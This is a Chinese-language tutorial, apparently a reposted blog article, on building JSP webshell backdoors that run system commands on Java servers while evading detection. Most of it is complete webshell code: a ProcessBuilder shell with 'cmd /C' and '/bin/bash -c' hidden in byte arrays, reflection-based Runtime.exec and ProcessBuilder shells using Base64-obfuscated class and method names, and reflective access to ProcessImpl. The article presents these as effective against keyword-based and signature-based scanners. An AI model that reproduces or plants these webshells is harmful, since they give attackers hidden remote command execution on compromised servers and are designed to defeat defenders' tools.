利用Java反射和类加载机制绕过JSP后门检测
字数 1452 2025-08-29 08:32:18
Java反射与类加载机制绕过JSP后门检测技术详解
0x00 前言
JSP后门是指以.jsp等后缀结尾,可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门,并绕过常规检测软件的方法。
0x01 Java执行系统命令的原理
Java执行系统命令主要通过两个类实现:
java.lang.Runtimejava.lang.ProcessBuilder
JVM层面
这两个类都是对java.lang.Process抽象类的实现。执行系统命令的过程是:JVM创建一个本机进程,加载对应指令到进程地址空间,然后执行该指令。
代码层面
Runtime类分析:
- 构造器是private的,只能通过
getRuntime()获取实例 exec()方法底层调用ProcessBuilder类
ProcessBuilder类分析:
- 使用
start()方法创建进程 - 底层调用
java.lang.ProcessImpl类的start方法 ProcessImpl是继承自Process的final类ProcessImpl构造器也是private的
调用关系图:
Runtime.exec() → ProcessBuilder.start() → ProcessImpl.start()
0x02 JSP基础标签
<%@ %>- 页面指令,设定页面属性和特征信息<% %>- java代码片段,不能声明方法<%! %>- java代码声明,声明全局变量或方法<%= %>- Java表达式
0x03 使用ProcessBuilder绕过检测
原始后门示例
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
问题:包含"Runtime"、"exec"等明显关键词,易被检测
改进版ProcessBuilder后门
<%@ page pageEncoding = "utf-8" %>
<%@ page import = "java.util.Scanner" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD= "POST" NAME= "form" ACTION= "#" >
<INPUT TYPE= "text" NAME= "q" >
<INPUT TYPE= "submit" VALUE= "Fly" >
</FORM>
<%
String op = "Got Nothing" ;
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
} else {
isWin = false;
}
if(query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99,109,100}),
new String(new byte[]{47,67}), query);
} else {
pb = new ProcessBuilder(new String(new byte[]{47,98,105,110,47,98,97,115,104}),
new String(new byte[]{45,99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE><%= op %>></PRE>
</BODY>
</HTML>
绕过技术要点
- 避免敏感变量名(如"cmd"、"exec"等)
- 字符串拆解重组(使用字节数组构造字符串)
- 使用Scanner而非BufferedReader接收回显
- 通过文件分隔符判断操作系统类型
- 最小化导入的包
0x04 使用Java反射机制绕过检测
反射Runtime类示例
String op = "";
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process e = (Process)ex.invoke(gr.invoke(null, new Object[]{}), "cmd /c ping www.baidu.com");
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);
反射Runtime的JSP后门
<%@ page import = "java.util.Scanner" pageEncoding = "UTF-8" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
str = new String(new byte[]{99,109,100,46,101,120,101,32,47,67,32}) + str;
} else {
str = new String(new byte[]{47,98,105,110,47,98,97,115,104,32,45,99,32}) + str;
}
Class rt = Class.forName(new String(new byte[]{106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}));
Process e = (Process)rt.getMethod(new String(new byte[]{101,120,101,99}), String.class)
.invoke(rt.getMethod(new String(new byte[]{103,101,116,82,117,110,116,105,109,101}))
.invoke(null, new Object[]{}), new Object[]{str});
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return result;
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre><%= name %></pre>
</BODY>
</HTML>
反射ProcessBuilder的JSP后门
<%@ page pageEncoding = "UTF-8" %>
<%@ page import = "java.util.List" %>
<%@ page import = "java.util.Scanner" %>
<%@ page import = "java.util.ArrayList" %>
<%@ page import = "sun.misc.BASE64Encoder" %>
<%@ page import = "sun.misc.BASE64Decoder" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
List<String> list = new ArrayList<>();
BASE64Decoder decoder = new BASE64Decoder();
BASE64Encoder encoder = new BASE64Encoder();
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
list.add(new String(decoder.decodeBuffer("Y21k")));
list.add(new String(decoder.decodeBuffer("L2M=")));
} else {
list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
list.add(new String(decoder.decodeBuffer("LWM=")));
}
list.add(new String(decoder.decodeBuffer(str)));
Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
Process s = (Process)PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ=")))
.invoke(PB.getDeclaredConstructors()[0].newInstance(list));
Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return encoder.encode(result.getBytes("UTF-8"));
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre><%= name %></pre>
</BODY>
</HTML>
反射ProcessImpl类
虽然ProcessImpl类不是public的,但可以通过反射访问:
import java.util.Map;
import java.lang.Process;
import java.util.Scanner;
import java.lang.reflect.Method;
import java.lang.ProcessBuilder.Redirect;
public class invoke_ProcessImpl {
public static void main(String[] args) throws Exception {
String op = "";
String dir = ".";
String[] cmdarray = new String[]{"ping", "127.0.0.1"};
Map<String, String> environment = null;
Redirect[] redirects = null;
boolean redirectErrorStream = true;
Class c = Class.forName("java.lang.ProcessImpl");
Method m = c.getDeclaredMethod("start", String[].class, Map.class,
String.class, Redirect[].class, boolean.class);
m.setAccessible(true);
Process e = (Process)m.invoke(null, cmdarray, environment, dir, redirects, redirectErrorStream);
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);
}
}
0x05 使用Java类加载机制绕过检测
Java类加载机制是指JVM查找类的位置,将类字节码装入内存并生成对应Class对象的过程。
类加载器类型
- Bootstrap ClassLoader - 加载核心Java类
- Extension ClassLoader - 加载扩展类
- App ClassLoader - 加载应用类路径下的类
加载顺序:Bootstrap → Extension → App,遵循双亲委托模型。
获取Class对象的四种方法
-
原生类.class
Class c = java.lang.Runtime.class; -
对象.getClass()
java.lang.Runtime obj = java.lang.Runtime.getRuntime(); Class c = obj.getClass(); -
Class.forName()
Class c = Class.forName("java.lang.Runtime"); // 或 Class c = Class.forName("java.lang.Runtime", false, ClassLoader.getSystemClassLoader()); -
ClassLoader
Class c = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
0x06 技术总结
本文介绍的绕过技术主要通过以下方式实现:
- 字符串混淆 - 使用字节数组或Base64编码构造关键字符串
- 反射机制 - 动态获取和调用类方法,避免直接使用关键字
- 类加载机制 - 通过不同方式获取Class对象,增加检测难度
- 环境判断 - 自动识别操作系统类型选择合适命令
- 输出处理 - 使用Scanner等非常规方式处理命令输出
这些技术可以有效绕过基于关键词匹配和已知恶意脚本库比对的检测系统。